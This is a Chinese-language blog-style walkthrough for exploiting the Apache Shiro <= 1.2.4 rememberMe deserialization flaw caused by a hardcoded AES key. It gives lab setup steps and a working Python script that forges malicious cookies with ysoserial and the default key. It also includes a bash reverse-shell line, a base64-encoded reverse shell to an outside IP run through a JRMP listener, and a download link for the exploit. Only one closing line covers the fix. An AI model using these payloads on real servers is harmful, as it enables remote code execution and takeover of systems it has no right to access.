影响版本
Apache Shiro <= 1.2.4
原因分析
Apache Shiro默认使用了CookieRememberMeManager
,其处理cookie的流程是:得到rememberMe的cookie值
> Base64解码
–>AES解密
–>反序列化
。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
AES加密
勾选记住密码并登录页面上的账号密码,成功登录后台后返回Cookie中的rememberMe值为固定的512位
图片.png环境搭建
源码搭建
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4
cd ./shiro/samples/web
需要提前配置tomcat
mvn
为了配合生成反序列化的漏洞环境,需要添加存在漏洞的 jar 包,编辑 pom.xml文件,添加如下行:
图片.png修改完成后,使用
Maven
把存在漏洞环境 war包进行编译
最终可以将 target 目录下生成的 samples-web-1.2.4.war 文件拷贝至 tomcat 目录下的 webapps 目录,这里将其重命名为了 shiro.war 文件,启动 tomcat, 在浏览器当中输入 http://localhost:8080/shiro 可以看到登录页面,如下图:
如果不会编译war包的话,我已经整好了,直接打包,
在文章下
然后,获取我们复现需要用到的ysoserial工具
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
漏洞利用
恶意 Cookie rememberMe
值构造
前16字节的密钥
–>后面加入序列化参数
–>AES加密
–>base64编码
–>发送cookie
生成恶意rememberMe参数值Python代码
python shiro.py 攻击者IP:PORT
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): #ysoserial-0.0.6-SNAPSHOT-all.jar 文件需要在该文件目录 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
图片.png
记得勾选这个
图片.png
用脚本生成恶意代码
图片.png
http://www.jackson-t.ca/runtime-exec-payloads.html
制作反弹shell
bash -i >& /dev/tcp/192.168.1.2/8888 0>&1
再使用ysoserial中JRMP监听模块,监听12345端口注意这里的端口是刚才生成rememberMe值的端口。 再加上生成的base64编码。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4xOTUuMjQyLzEyMzQ2IDA+JjE=}|{base64,-d}|{bash,-i}'
注意CommonsCollections4这里有个坑,复现不成功的话,换成5,4,3,2都试试
图片.png
然后nc监听12346,因为通过制作bash反弹12346端口
图片.png
发送生成后的恶意代码,替换cookie里的值
图片.png 图片.png
图片.png
成功拿到权限
下面是源码和exp
链接:https://pan.baidu.com/s/1inm1RDfxgvfZ_q4yG6KDLA
提取码:gy90
复制这段内容后打开百度网盘手机App,操作更方便哦
漏洞修复
升级到Shiro 1.2.5以上版本
网友评论